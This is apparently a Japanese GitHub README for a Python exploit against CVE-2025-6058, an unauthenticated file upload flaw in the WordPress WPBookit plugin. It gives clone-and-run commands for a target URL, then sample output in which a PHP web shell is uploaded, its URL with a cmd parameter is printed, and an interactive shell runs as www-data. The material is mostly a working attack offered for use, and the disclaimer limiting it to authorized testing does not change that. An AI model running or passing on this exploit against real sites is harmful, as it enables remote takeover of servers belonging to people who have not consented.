0xgh057r3c0n/cve-2025-6058WordPress WPBookit ≤ 1.0.4 未認証ファイルアップロードエクスプロイト
WordPress WPBookit プラグイン (≤ 1.0.4) を標的とした未認証の任意ファイルアップロードエクスプロイト
このエクスプロイトにより、リモートシェルのアップロードと完全なコマンド実行が可能になります。
著者: 0xgh057r3c0n
CVE-2025-6058 は、WordPress CMS 上の WPBookit プラグインに影響を与える重大な脆弱性です。未認証の攻撃者は、脆弱な AJAX エンドポイントを悪用して任意の PHP ファイルをアップロードし、リモートコード実行 (RCE) を可能にします。
README.txt から WordPress プラグインのバージョンを自動検出ghost_shell.php) をアップロードpython3 --version
pip install requests
git clone https://github.com/0xgh057r3c0n/CVE-2025-6058.git
cd CVE-2025-6058
python3 CVE-2025-6058.py -u https://target-wordpress-site.com
python3 CVE-2025-6058.py -u https://victim.com
[>] Checking plugin version...
[+] Found plugin version: 1.0.4
[!] Target version is vulnerable.
[>] Uploading shell...
[+] Upload successful.
[+] Shell URL: https://victim.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
[!] Interactive GhostShell Started — type 'exit' to quit.
┌─[gaurav@0xgh057r3c0n]─[/var/www/html]
└──╼ $ whoami
www-data
ghost_shell.php/wp-content/uploads/YYYY/MM/ghost_shell.phphttps://target-wordpress-site.com/wp-content/uploads/2025/07/ghost_shell.php?cmd=whoami
このエクスプロイトは、教育目的および許可を得たペネトレーションテスト専用に開発されています。明示的な同意なしにシステムに対して使用することは違法です。
MIT License の下で公開されています
WordPress セキュリティ監査のために 🛡️ 0xgh057r3c0n によって作成